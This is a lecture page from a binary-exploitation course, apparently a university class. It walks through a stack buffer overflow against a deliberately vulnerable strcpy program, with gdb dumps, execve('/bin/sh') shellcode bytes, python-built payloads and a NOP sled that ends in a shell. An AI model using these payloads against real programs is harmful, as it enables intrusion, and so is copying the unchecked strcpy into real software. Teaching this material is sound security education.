SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 11: Using Shell Code in Exploit

Table of Contents

1 Review Stack Smashing

In the last lesson we achieved some shell code that (1) had no fixed references and (2) had no null bytes. Now, it's time to use that shell code in an exploit. We will be exploiting the following program, which we've exploited before.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void bad(){
  printf("You've been naughty!\n");
}

void good(){
  printf("Go Navy!\n");
}

void vuln(int n, char * str){

  int i = 0;  
  char buf[32];


  strcpy(buf,str);

  while( i < n ){
    printf("%d %s\n",i++, buf);
  }

}

int main(int argc, char *argv[]){

  vuln(atoi(argv[1]), argv[2]);

  return 0;

}

Recall, if we send too much input on the command line, we can cause this program to execute the good() or bad function at will. In particular, looking at the assembly of vuln(),

(gdb) ds vuln
Dump of assembler code for function vuln:
   0x080484d5 <+0>:	push   ebp
   0x080484d6 <+1>:	mov    ebp,esp
   0x080484d8 <+3>:	sub    esp,0x48
   0x080484db <+6>:	mov    DWORD PTR [ebp-0xc],0x0
   0x080484e2 <+13>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484e5 <+16>:	mov    DWORD PTR [esp+0x4],eax
   0x080484e9 <+20>:	lea    eax,[ebp-0x2c]
   0x080484ec <+23>:	mov    DWORD PTR [esp],eax
   0x080484ef <+26>:	call   0x8048360 <strcpy@plt>
   0x080484f4 <+31>:	jmp    0x8048516 <vuln+65>
   0x080484f6 <+33>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484f9 <+36>:	lea    edx,[eax+0x1]
   0x080484fc <+39>:	mov    DWORD PTR [ebp-0xc],edx
   0x080484ff <+42>:	lea    edx,[ebp-0x2c]
   0x08048502 <+45>:	mov    DWORD PTR [esp+0x8],edx
   0x08048506 <+49>:	mov    DWORD PTR [esp+0x4],eax
   0x0804850a <+53>:	mov    DWORD PTR [esp],0x804860e
   0x08048511 <+60>:	call   0x8048350 <printf@plt>
   0x08048516 <+65>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048519 <+68>:	cmp    eax,DWORD PTR [ebp+0x8]
   0x0804851c <+71>:	jl     0x80484f6 <vuln+33>
   0x0804851e <+73>:	leave  
   0x0804851f <+74>:	ret    
End of assembler dump.

we see that the buffer buf starts at ebp-0x2c so if we write 0x2c+4 or 0x30 A's, we'll reach the return address. Then we can write the address of good() or bad() (or both) to get it execute those programs:

(gdb) ds good
Dump of assembler code for function good:
   0x080484c1 <+0>:	push   ebp
   0x080484c2 <+1>:	mov    ebp,esp
   0x080484c4 <+3>:	sub    esp,0x18
   0x080484c7 <+6>:	mov    DWORD PTR [esp],0x8048605
   0x080484ce <+13>:	call   0x8048370 <puts@plt>
   0x080484d3 <+18>:	leave  
   0x080484d4 <+19>:	ret    
End of assembler dump.
(gdb) ds bad
Dump of assembler code for function bad:
   0x080484ad <+0>:	push   ebp
   0x080484ae <+1>:	mov    ebp,esp
   0x080484b0 <+3>:	sub    esp,0x18
   0x080484b3 <+6>:	mov    DWORD PTR [esp],0x80485f0
   0x080484ba <+13>:	call   0x8048370 <puts@plt>
   0x080484bf <+18>:	leave  
   0x080484c0 <+19>:	ret    
End of assembler dump.
(gdb) r 5 `python -c "print 'A'*0x30+'\xc1\x84\x04\x08'+'\xad\x84\x04\x08'"`
Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "print 'A'*0x30+'\xc1\x84\x04\x08'+'\xad\x84\x04\x08'"`
Go Navy!
You've been naughty!

Program received signal SIGSEGV, Segmentation fault.
0xbffff800 in ?? ()

2 Failed Attempt 1

To make use of this exploit and have it execute our shell code, we need to overwrite the return address such that it jumps into our shell code. We have a couple of ways to do this, and we will now enumerate some that do not work until we get to one that does.

In this attempt, we will send our shell code along with the exploit such that we will jump to the start of the buf in the code. It will look something like this:

                .-------------------------.
                |                         |
                v                         |
./vulnerable 5 <shell-code><padding><address-of-buf>

Once the exploit is complete, the overwritten return address will be the address of the buffer, and thus we execute our shell code. To start, we need to know how long our shell code is and we need to know the address of the buffer.

To get the length of our shell code, we can use printf and wc

user@si485H-base:demo$ ./hexify.sh ./execve_nonull 
\xeb\x17\x5e\x31\xc0\x50\x56\x31\xd2\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
user@si485H-base:demo$ printf "`./hexify.sh ./execve_nonull`" | wc -c
37

To make things easier, I'm going to save the bytes of the shell code to a file called shell.

user@si485H-base:demo$ printf "`./hexify.sh ./execve_nonull`" > shell
user@si485H-base:demo$ wc -c shell 
37 shell

Next, I'm going to start up gdb to determine the address of buf using our expected exploit length. I'll just start with 0xdeadbeef as the address for a filler.

(gdb) r 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\xef\xbe\xad\xde'"`

Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\xef\xbe\xad\xde'"`

Breakpoint 1, 0x080484db in vuln ()
(gdb) ds
Dump of assembler code for function vuln:
   0x080484d5 <+0>:	push   ebp
   0x080484d6 <+1>:	mov    ebp,esp
   0x080484d8 <+3>:	sub    esp,0x48
=> 0x080484db <+6>:	mov    DWORD PTR [ebp-0xc],0x0
   0x080484e2 <+13>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484e5 <+16>:	mov    DWORD PTR [esp+0x4],eax
   0x080484e9 <+20>:	lea    eax,[ebp-0x2c]
   0x080484ec <+23>:	mov    DWORD PTR [esp],eax
   0x080484ef <+26>:	call   0x8048360 <strcpy@plt>
   0x080484f4 <+31>:	jmp    0x8048516 <vuln+65>
   0x080484f6 <+33>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484f9 <+36>:	lea    edx,[eax+0x1]
   0x080484fc <+39>:	mov    DWORD PTR [ebp-0xc],edx
   0x080484ff <+42>:	lea    edx,[ebp-0x2c]
   0x08048502 <+45>:	mov    DWORD PTR [esp+0x8],edx
   0x08048506 <+49>:	mov    DWORD PTR [esp+0x4],eax
   0x0804850a <+53>:	mov    DWORD PTR [esp],0x804860e
   0x08048511 <+60>:	call   0x8048350 <printf@plt>
   0x08048516 <+65>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048519 <+68>:	cmp    eax,DWORD PTR [ebp+0x8]
   0x0804851c <+71>:	jl     0x80484f6 <vuln+33>
   0x0804851e <+73>:	leave  
   0x0804851f <+74>:	ret    
End of assembler dump.
(gdb) p $ebp-0xc
$1 = (void *) 0xbffff5fc

So the address we need to overwrite is 0xbffff5fc instead of 0xdeadbeef. Let's give that a try:

gdb) r 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\xfc\xf5\xff\xbf'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\xfc\xf5\xff\xbf'"`

Breakpoint 1, 0x080484db in vuln ()
(gdb) c
Continuing.
[Inferior 1 (process 6932) exited normally]

And, we FAIL! What happened?

Let's do that again, and inspect the stack a bit more.

gdb) r 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\x1c\xf6\xff\xbf'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\x1c\xf6\xff\xbf'"`

Breakpoint 1, 0x080484db in vuln ()
(gdb) ni 6
0x080484f4 in vuln ()
(gdb) ds
Dump of assembler code for function vuln:
   0x080484d5 <+0>:	push   ebp
   0x080484d6 <+1>:	mov    ebp,esp
   0x080484d8 <+3>:	sub    esp,0x48
   0x080484db <+6>:	mov    DWORD PTR [ebp-0xc],0x0
   0x080484e2 <+13>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484e5 <+16>:	mov    DWORD PTR [esp+0x4],eax
   0x080484e9 <+20>:	lea    eax,[ebp-0x2c]
   0x080484ec <+23>:	mov    DWORD PTR [esp],eax
   0x080484ef <+26>:	call   0x8048360 <strcpy@plt>
=> 0x080484f4 <+31>:	jmp    0x8048516 <vuln+65>
   0x080484f6 <+33>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484f9 <+36>:	lea    edx,[eax+0x1]
   0x080484fc <+39>:	mov    DWORD PTR [ebp-0xc],edx
   0x080484ff <+42>:	lea    edx,[ebp-0x2c]
   0x08048502 <+45>:	mov    DWORD PTR [esp+0x8],edx
   0x08048506 <+49>:	mov    DWORD PTR [esp+0x4],eax
   0x0804850a <+53>:	mov    DWORD PTR [esp],0x804860e
   0x08048511 <+60>:	call   0x8048350 <printf@plt>
   0x08048516 <+65>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048519 <+68>:	cmp    eax,DWORD PTR [ebp+0x8]
   0x0804851c <+71>:	jl     0x80484f6 <vuln+33>
   0x0804851e <+73>:	leave  
   0x0804851f <+74>:	ret    
End of assembler dump.
(gdb)

At this point, we are right after the call, so we can take a look around and we should see our shell code at the address ebp-0x2c and the return address.

(gdb) x/x $ebp+0x4
0xbffff62c:	0xbffff5fc
(gdb) x/16i 0xbffff5fc
   0xbffff5fc:	jmp    0xbffff615
   0xbffff5fe:	pop    esi
   0xbffff5ff:	xor    eax,eax
   0xbffff601:	push   eax
   0xbffff602:	push   esi
   0xbffff603:	xor    edx,edx
   0xbffff605:	mov    ecx,esp
   0xbffff607:	mov    ebx,esi
   0xbffff609:	mov    al,0xb
   0xbffff60b:	int    0x80
   0xbffff60d:	xor    ebx,ebx
   0xbffff60f:	xor    eax,eax
   0xbffff611:	mov    al,0x1
   0xbffff613:	int    0x80
   0xbffff615:	call   0xbffff5fe
   0xbffff61a:	das    
(gdb) p $ebp-0x2c
$2 = (void *) 0xbffff5fc

Everything loks good so far. There is the shell code and in the right place. Looking closer, we should expect at 0xbfffff61a to be the string "/bin/sh" as this is jmp-callback. Let's take a look:

(gdb) x/s 0xbffff61a
0xbffff61a:	"/bin/sh", 'A' <repeats 11 times>, "\374\365\377\277"

Woops! We see our "/bin/sh" string but we also see a sh*ton of A's following. That is to be expected given the way we set up our exploit:

                .-------------------------.
                |                         |
                v                         |
./vulnerable 5 <shell-code><padding><address-of-buf>

The padding occurs after our shell code, and now we are toast. We can't NULL terminate our shell-code because that means we won't pad out to the return address. We need to do something different.

3 Failed Attempt 2

This time, we'll change strategies a bit. Instead of jumping backwards, let's jump forward. Here's what I propose:

                                          .-----------.
                                          |           |
                                          |           v
./vulnerable 5 <--------padding-----><address-of-buf><shell code>

Again, we need to use gdb to do some address calculations to find out where the start of our shell code is. I'll format the exploit of the right length and use 0xdeadbeef as the return address filler to calculate the start of the shell code which should be at ebp+0x8, four bytes further than the return address.

(gdb) p $ebp-0x2cQuit
(gdb) r 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\xfc\xf5\xff\xbf'+sh"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\xfc\xf5\xff\xbf'+sh"`

Breakpoint 1, 0x080484db in vuln ()
(gdb) x/x $ebp+8
0xbffff600:	0x05

Again, so the next address following the return address is 0xbfffff600. Um … that is not going to work because that address has a NULL byte in it!

4 SUCCESS!

Ok, so we need to jump 8 bytes further from the return address to skip of that null byte address. This time our shell code exploit looks like this:

                                          .------------------------.
                                          |                        |
                                          |                        v
./vulnerable 5 <--------padding-----><address-of-shelcode><padding><shell code>

Again, I'll do an address calculation to see where we are. We know what that addres

(gdb) r 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\xef\xbe\xad\xde'+'A'*4+sh+'\x00'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\xef\xbe\xad\xde'+'A'*4+sh+'\x00'"`

Breakpoint 1, 0x080484db in vuln ()
(gdb) ni 6
0x080484f4 in vuln ()
(gdb) x/x $ebp+0xc
0xbffff604:	0x315e17eb
(gdb) x/3wx $ebp
0xbffff5f8:	0x41414141	0xdeadbeef	0x41414141

We are looking to jump to the address 0xbffff604.

(gdb) r 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4+sh+'\x00'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4+sh+'\x00'"`

Breakpoint 1, 0x080484db in vuln ()
(gdb) c
Continuing.
process 7017 is executing new program: /bin/dash
$

Boom!

5 Outside of GDB and NOP sledding

The last step in this process is to get the exploit to work outside of gdb. If we just drop our exploit into the command line, it doesn't work:

user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4+sh+'\x00'"`
Segmentation fault (core dumped)

The reason problem is that gdb changes the stack layout, so all the addresses within gdb are lower than they would be outside gdb as they are more values on the stack. Visually we can see something like this for how our exploit works:

  with gdb                 without gdb

.------------.           .------------.
|            |           |            |
| gdb junk   |           :            :  
|            |            
:            :           :            :
                         |            |
:            :           | shell code |
|            |           | padding    |
|            |           | ret addr   |--.
|            |           :            :  |
| shell code | <-.                     <-'
| padding    |   |                            
| ret addr   |---'

Without the gdb code, everything get's shifted up the stack, but the value we are overwriting the return address to is now point to the same old place where the shell code used to be. It is now somewhere else.

The primary way to correct this is to add nops to shift the stack space around. A nop (read no-operation) is a special instruction that does nothing. The byte code for nop is 0x90. With nops Well shift the address space like so:

  without nops           with nops         

.------------.         .------------.
|            |         |            |
:            :         :            :

:            :         :            :
|            |         |            |
| shell code |         | shell code |
| padding    |         | nop        |
| ret addr   |--.      | nop        |
:            :  |      | nop        |
              <-'      | nop        |<-.
                       | padding    |  |
                       | ret addr   |--'

The sequenences of nops form a "nop sled." If control jumps anywhere within the nop sled, we'll do a bunch of no operations until we reach the shell code. Our exploit will look like this:

                                          .-----------------------.
                                          |                       | 
                                          |                       v
./vulnerable 5 <--------padding-----><address-of-nopsled><padding><nop-sled><shell code>

How many nop's do we add? It doesn't matter, but we can try and see.

user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x10 + sh+'\x00'"`
Segmentation fault (core dumped)
user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x20 + sh+'\x00'"`
Illegal instruction (core dumped)
user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x30 + sh+'\x00'"`
Illegal instruction (core dumped)
user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x40 + sh+'\x00'"`
Illegal instruction (core dumped)
user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x50 + sh+'\x00'"`
$

After 0x50 nop's our return address hits the sled, and BOOM, we got a shell.